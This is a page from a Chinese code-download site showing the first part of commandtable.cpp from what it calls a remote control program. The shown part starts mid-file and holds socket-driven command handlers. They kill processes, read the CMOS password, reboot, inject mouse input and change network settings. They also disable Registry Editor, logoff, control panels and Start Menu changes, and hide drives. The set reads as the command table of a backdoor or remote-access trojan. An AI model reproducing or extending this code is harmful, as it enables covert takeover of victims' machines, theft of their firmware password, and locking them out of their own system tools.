⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 commandtable.cpp

📁 这是一个远程控制程序
💻 CPP
📖 第 1 页 / 共 2 页
字号:
}
void Cmd_ShowHideWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = ParamStr[0];

        if( CN_ShowHideWindow(sTmp.ToInt()))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_EnabledWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = ParamStr[0];
        TCNString Flag = ParamStr[1];

        if( CN_EnabledWindow(sTmp.ToInt(),Flag.ToInt()))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_GetWindowsList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = ParamStr[0];

        sTmp = CN_GetTopLevelWindows(sTmp.ToInt());

        if (sTmp != "")
        {
                m_socket->WriteLn(RESULT_SUCCESS + sTmp);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_ListRunProc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = CN_GetRunProcList();

        if (sTmp != "")
        {
                m_socket->WriteLn(RESULT_SUCCESS + sTmp);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_KillProc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_KillRunProcess(ParamStr[0]) == 0)
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_GetNetInfo(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = CN_GetNetInfo();

        m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}

void Cmd_GetCmosPwd(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = CN_GetAwardCmosPassword();

        m_socket->WriteLn(RESULT_SUCCESS + sTmp);

}
void Cmd_GetEvtStrings(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = CN_GetSysEventString();

        m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_SetEvtStrings(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_SetSysEvenString(ParamStr[0], ParamStr[1]) )
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_OpenDoc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString FileName;
        TCNString Mode;
        DWORD Flag = 0;

        FileName = ParamStr[0];
        Mode     = ParamStr[1];
        Flag     = Mode.ToInt();

        ShellExecute(0,"OPEN",FileName.c_str(),NULL,NULL,Flag);

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_Reboot(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Mode;
        DWORD Flag = 0;

        Mode     = ParamStr[1];
        Flag     = Mode.ToInt();

        m_socket->WriteLn(RESULT_SUCCESS);

        ExitWindowsEx(Flag,0);
}
void Cmd_SysInfo(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp;
        char OEMString[13];
        int iEAXValue,iEBXValue,iECXValue,iEDXValue;
        asm {
                .586
                mov     eax,0
                cpuid
                mov     DWORD PTR OEMString,ebx
                mov     DWORD PTR OEMString+4,edx
                mov     DWORD PTR OEMString+8,ecx
                mov     BYTE  PTR OEMString+12,0
        }
        sTmp  = CN_GetWindowInfo() + ";----------CPU INFO----------;";

        sTmp += TCNString("CPU OEM :") + OEMString + ";";

        asm{
                mov     eax,1
                cpuid
                mov     iEAXValue,eax
                mov     iEBXValue,ebx
                mov     iECXValue,ecx
                mov     iEDXValue,edx
        }
        if( iEDXValue & 0x800000)
                sTmp += "CPU Support MMX;";
        else
                sTmp += "CPU not support MMX;";

        int iCPUFamily = ((iEAXValue & 0x0f00) >>8);

        sTmp += TCNString("CPU Family :") + CN_IntToStr(iCPUFamily) + ";";

        asm{
                mov     eax,2
                CPUID
        }

        if(_AL== 1 )
                sTmp += "CPU > PentiumII;";
        else
                sTmp += "CPU < PentiumII;";

        //GetSystemInfo();
        //获得内存状态
        MEMORYSTATUS memory;
        memory.dwLength =sizeof(memory);//初始化
        GlobalMemoryStatus(&memory);

        sTmp += "----------Memory Info-------;";
        sTmp += "Total RAM :"  + CN_IntToStr(memory.dwTotalPhys) + ";";
        sTmp += "Free RAM  :"  + CN_IntToStr(memory.dwAvailPhys);

        m_socket->WriteLn(RESULT_SUCCESS + sTmp);

}
void Cmd_SetIPAddress(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString IPAddress,IPMask,DefaultGateway;

        IPAddress       = ParamStr[0];
        IPMask          = ParamStr[1];
        DefaultGateway  = ParamStr[2];

        if( IPMask == "-1")
                IPMask = "";

        if( DefaultGateway == "-1")
                DefaultGateway = "";

        if(CN_SetIPAddress(IPAddress,IPMask,DefaultGateway))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_SetComputerName(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( SetComputerName(ParamStr[0]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_CapScreen(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
}
void Cmd_MouseEvent(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp;
        WORD x,y;
        DWORD Flags = MOUSEEVENTF_ABSOLUTE;
        int ButtonFlag; // 0 bit --Left
                        // 1 bit---Mid
                        // 2 bit --Right
                        // 3 bit --left state   0 - down 1 - up
                        // 4 bit --mid state
                        // 5 bit --right state
                        // 6 bit --only move
        tagPOINT   p;

        GetCursorPos(&p);       //取当前位置

        sTmp = ParamStr[0];

        ButtonFlag = sTmp.ToInt();

        sTmp = ParamStr[1];

        x = sTmp.ToInt();

        sTmp = ParamStr[2];

        y = sTmp.ToInt();

        if( x != p.x || y != p.y)
        {
                Flags |= MOUSEEVENTF_MOVE;
                SetCursorPos(x,y);
        }
        if( ButtonFlag & 1)
        {
                if (GetSystemMetrics(SM_SWAPBUTTON))
                        Flags |= (ButtonFlag & 0x08)? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP;
                else
                        Flags |= (ButtonFlag & 0x08)? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP;
        }
        if( ButtonFlag & 2)
        {
                Flags |= (ButtonFlag & 0x10)? MOUSEEVENTF_MIDDLEDOWN : MOUSEEVENTF_MIDDLEUP;
        }
        if( ButtonFlag & 4)
        {
                if (GetSystemMetrics(SM_SWAPBUTTON))
                        Flags |= (ButtonFlag & 0x20)? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP;
                else
                        Flags |= (ButtonFlag & 0x20)? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP;
        }
        mouse_event(Flags, x, y, 0, 0);

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_ShowDesktop(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_ShowDesktop(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_SetSysHotKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_SetSysHotKey(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);

}
void Cmd_EnabledRegedit(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_DisabledRegeidt(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_ShowShellTray(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_ShowTray_Shell(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_SetPowderState(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_SetPowerState(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoMouseRight(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_DisableMouseRight(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);

}
void Cmd_NoLogOff(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoLogOff(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoDeletePrinter(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoDeletePrinter(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoNetSetup(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoNetSetup(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);

}
void Cmd_NoProfilePage(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoProfilePage(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoSecCPL(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoSecCPL(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoChangeStartMenu(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoChangeStartMenu(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoSetFolders(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoSetFolders(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoDispCPL(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_NoDispCPL(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_HideDrivers(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag;

        Flag = ParamStr[0];

        CN_HideDrivers(Flag.ToInt());

        m_socket->WriteLn(RESULT_SUCCESS);
}


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -